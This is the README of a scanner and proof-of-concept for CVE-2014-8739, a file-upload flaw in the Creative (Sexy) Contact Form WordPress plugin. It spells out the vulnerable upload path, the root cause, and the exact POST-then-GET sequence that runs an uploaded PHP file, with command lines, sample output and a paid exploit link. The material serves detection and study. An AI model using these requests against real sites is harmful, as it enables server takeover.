
Scanner and proof-of-concept exploit for CVE-2014-8739, the unrestricted file upload in Creative Contact Form (Sexy Contact Form) that allows remote PHP code execution.
Creative Solutions Creative Contact Form (formerly Sexy Contact Form) <= 0.9.7 - Arbitrary File Upload
| field | value |
|---|---|
| CVE | CVE-2014-8739 |
| severity | critical |
| CVSS | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), NVD primary, NVD published 2020-02-08; EPSS 0.91527 (0.99812 percentile), VKEV listed |
| fixed in | Creative Contact Form for WordPress 1.0.0 (changelog 27/10/2014 "IMPORTANT: Fixed security bug!"); Creative Contact Form for Joomla! 2.0.1; the bundled jQuery File Upload Plugin PHP Class is 6.4.4 |
| class | unrestricted file upload leading to code execution (CWE-434) |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT5TH9
The free Creative Contact Form ships the stock blueimp upload endpoint at
/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php, which
instantiates UploadHandler with 'accept_file_types' => '/.+$/i', i.e. no
extension filter at all. A single multipart POST therefore writes any file
verbatim into includes/fileupload/files/, and a direct GET of that path
makes the PHP interpreter run it. The nuclei template proves both halves in
two requests (max-request: 2, flow: http(1) && http(2)): the upload reply
must answer 200, contain the words files and delete_url, carry
text/plain, and the stored file must echo the random marker.
Unrestricted file upload vulnerability in server/php/UploadHandler.php in the jQuery File Upload Plugin 6.4.4 for jQuery, as used in the Creative Solutions Creative Contact Form (formerly Sexy Contact Form) before 1.0.0 for WordPress and before 2.0.1 for Joomla!, allows remote attackers to execute arbitrary code by uploading a PHP file with an PHP extension, then accessing it via a direct request to the file in files/, as exploited in the wild in October 2014.
Vendor source of 0.9.7 (read directly from the released zip):
includes/fileupload/index.php is the five-line "jQuery File Upload Plugin PHP
Example 5.14" that only does require('UploadHandler.php') plus
new UploadHandler(), and UploadHandler.php is "jQuery File Upload Plugin
PHP Class 6.4.4". Its default options are 'param_name' => 'files',
'upload_dir' => dirname(SCRIPT_FILENAME).'/files/',
'upload_url' => script_url.'/files/', 'delete_type' => 'DELETE' and the
permissive 'accept_file_types' => '/.+$/i', which is the root cause.
handle_file_upload() calls move_uploaded_file() and then
set_additional_file_properties(), which is where the two pinned words come
from: delete_url (script_url + ?file= + name) and delete_type.
send_content_type_header() answers application/json only when the request
Accept value literally contains application/json, otherwise text/plain,
which is why the template pins text/plain for a plain Accept: */*.
Version 1.0.0 is the fix: both includes/fileupload/index.php and
includes/fileupload/UploadHandler.php are trimmed to 0 bytes in the released
archive, so the standalone handler disappears and both probes stop matching.
flow: http(1) && http(2) with max-request: 2.POST /wp-content/plugins/sexy-contact-form/includes/fileupload/index.php
with Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
and one part name="files[]"; filename="{fname}.php", Content-Type: application/octet-stream, holding <?php echo "{marker}"; ?>.status_code == 200,
contains_all(body, "files","delete_url"), contains(content_type, "text/plain").fname is a 6-char lowercase-hex name and marker an 8-char lowercase-hex
string, standing in for {{rand_base(6)}} and {{randstr}}; the marker is
the only word matcher of request 2, GET /wp-content/plugins/sexy-contact-form/includes/fileupload/files/{fname}.php.fetch()/post_multipart() return (text, status, content_type, reason),
read the body of HTTPError too, retry twice with linear backoff
(0.2s/0.4s) and a 30s timeout; bodies decode with errors="replace".Accept: application/json is sent on purpose: the handler would then
switch to Content-type: application/json and the pinned matcher would
miss. Scheme-less tagger hosts get http://; a 12-char md5 token
fingerprints each row.# scanner: streamed CSV + optional JSON sidecar
python scanner/CVE-2014-8739/scanner.py urls.txt 8 CVE-2014-8739.csv --json CVE-2014-8739.json
# exploit: result dict + optional CSV/JSON dumps
python exploit/CVE-2014-8739/exploit.py http://target:80 --csv CVE-2014-8739.csv --json CVE-2014-8739.json --verbose
urls.txt is a plain file, one target per line, # for comments.
[*] Creative Contact Form (Sexy Contact Form) CVE-2014-8739 unrestricted file upload scanner
scanner : CVE-2014-8739 v1.0.0
threads : 2 | csv: .scratch/scf/scan.csv | json: .scratch/scf/scan.json
[*] Creative Contact Form (Sexy Contact Form) CVE-2014-8739 unrestricted file upload scanner
[2026-12-03 13:08:05] loaded 1 target(s) from .scratch/scf/urls.txt
[2026-12-03 13:08:05] [1/1] http://127.0.0.1:8140 -> VULNERABLE
[2026-12-03 13:08:05] json sidecar saved: .scratch/scf/scan.json
[2026-12-03 13:08:05] summary: total=1 vulnerable=1 not-vuln=0 errors=0
[2026-12-03 13:08:05] timing : avg=7ms max=7ms wall=0.01s
[2026-12-03 13:08:05] report saved: .scratch/scf/scan.csv
The two-request pair is answered by the real handler shape: request 1 yields
{"files": [{"name": "47c8ae.php", "size": 25, "type": "application/octet-stream", "url": ".../includes/fileupload/files/47c8ae.php", "delete_url": ".../includes/fileupload/index.php?file=47c8ae.php", "delete_type": "DELETE"}]}
with Content-Type: text/plain, and request 2 yields the bare marker
b05118a4. On a 1.0.0 install both requests return the 0-byte files, the
word matcher fails and the row stays not-vuln.
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided |
| status | ok (at least one probe got a real HTTP answer) / error (no transport answer from any probe) |
| vulnerable | verdict |
| elapsed_ms | per-target timing |
| token | 12-char md5 over the row details |
| result_b64 | base64(JSON) full details |
scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.README.md - this file.DESCRIPTION.md - deeper technical notes.../../exploit/CVE-2014-8739/exploit.py - two-request POC.| code | meaning |
|---|---|
| 0 | at least one target produced a real HTTP answer (vulnerable or not) |
| 2 | no target produced any transport answer, or the URL list was empty |